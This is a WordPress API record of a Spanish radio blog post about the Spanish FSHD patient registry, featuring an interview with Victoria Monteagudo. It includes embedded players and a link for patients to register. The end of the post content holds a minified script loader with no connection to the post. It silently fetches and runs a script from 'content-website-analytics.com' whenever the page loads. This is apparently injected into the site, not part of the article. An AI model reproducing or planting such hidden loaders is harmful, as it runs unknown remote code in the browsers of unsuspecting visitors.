{"id":5735,"date":"2025-02-28T19:10:27","date_gmt":"2025-02-28T19:10:27","guid":{"rendered":"https:\/\/radiojabato.es\/?p=5735"},"modified":"2026-04-20T15:09:57","modified_gmt":"2026-04-20T15:09:57","slug":"radio-fshd-victoria-monteagudo-registro-de-pacientes-fshd","status":"publish","type":"post","link":"https:\/\/radiojabato.es\/?p=5735","title":{"rendered":"RADIO FSHD: \u00abVictoria Monteagudo, Registro de Pacientes FSHD.\u00bb"},"content":{"rendered":"\n<iframe src=\"https:\/\/www.ivoox.com\/player_ej_140795551_6_1.html?c1=fc941c\" width=\"100%\" height=\"200\" frameborder=\"0\" allowfullscreen=\"\" scrolling=\"no\" loading=\"lazy\"><\/iframe>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"RADIO FSHD: &quot;Victoria Monteagudo, Registro de Pacientes FSHD.&quot;\" width=\"750\" height=\"422\" src=\"https:\/\/www.youtube.com\/embed\/0w5e9Z4OmEY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>En este programa hablamos del Registro de Pacientes de FSHD con Victoria Monteagudo, un registro important\u00edsimo ya que, al ser una enfermedad minoritaria, facilita la investigaci\u00f3n dada la variabilidad de sintomatolog\u00eda de l@s que la sufrimos facilitando la investigaci\u00f3n e incluyendonos en las investigaciones Internacionales.<br>Registro Cl\u00ednico, Gen\u00e9tico, Sociodemogr\u00e1fico sin aportar datos personales y bajo el control de CIBEREHD y el GENRARE que asegura la protecci\u00f3n de datos y donde FSHDSpain colabora con la aportaci\u00f3n de fondos para que la introducci\u00f3n de datos no recaiga en los m\u00e9dicos ya de por si cargados de extremado trabajo.<br>Es muy importante que los afectados soliciten ser registrados.<br>El camino para hacerlo se puede encontrar en la p\u00e1gina web de FSHDSpain y en el enlace&nbsp;<a href=\"https:\/\/fshd-spain.org\/registro-de-pacientes\/\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/fshd-spain.org\/registro-de-pacientes\/<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"723\" height=\"1024\" src=\"https:\/\/radiojabato.es\/wp-content\/uploads\/2025\/02\/photo_2025-02-28_18-38-02-723x1024.jpg\" alt=\"\" class=\"wp-image-5736\" style=\"width:127px;height:auto\" srcset=\"https:\/\/radiojabato.es\/wp-content\/uploads\/2025\/02\/photo_2025-02-28_18-38-02-723x1024.jpg 723w, https:\/\/radiojabato.es\/wp-content\/uploads\/2025\/02\/photo_2025-02-28_18-38-02-212x300.jpg 212w, https:\/\/radiojabato.es\/wp-content\/uploads\/2025\/02\/photo_2025-02-28_18-38-02-768x1087.jpg 768w, https:\/\/radiojabato.es\/wp-content\/uploads\/2025\/02\/photo_2025-02-28_18-38-02.jpg 904w\" sizes=\"auto, (max-width: 723px) 100vw, 723px\" \/><\/figure>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>En este programa hablamos del Registro de Pacientes de FSHD con Victoria Monteagudo, un registro important\u00edsimo ya que, al ser una enfermedad minoritaria, facilita la investigaci\u00f3n dada la variabilidad de [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[532],"tags":[],"class_list":["post-5735","post","type-post","status-publish","format-standard","hentry","category-radio-fshd"],"_links":{"self":[{"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/posts\/5735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/radiojabato.es\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=5735"}],"version-history":[{"count":3,"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/posts\/5735\/revisions"}],"predecessor-version":[{"id":14322,"href":"https:\/\/radiojabato.es\/index.php?rest_route=\/wp\/v2\/posts\/5735\/revisions\/14322"}],"wp:attachment":[{"href":"https:\/\/radiojabato.es\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=5735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/radiojabato.es\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=5735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/radiojabato.es\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=5735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}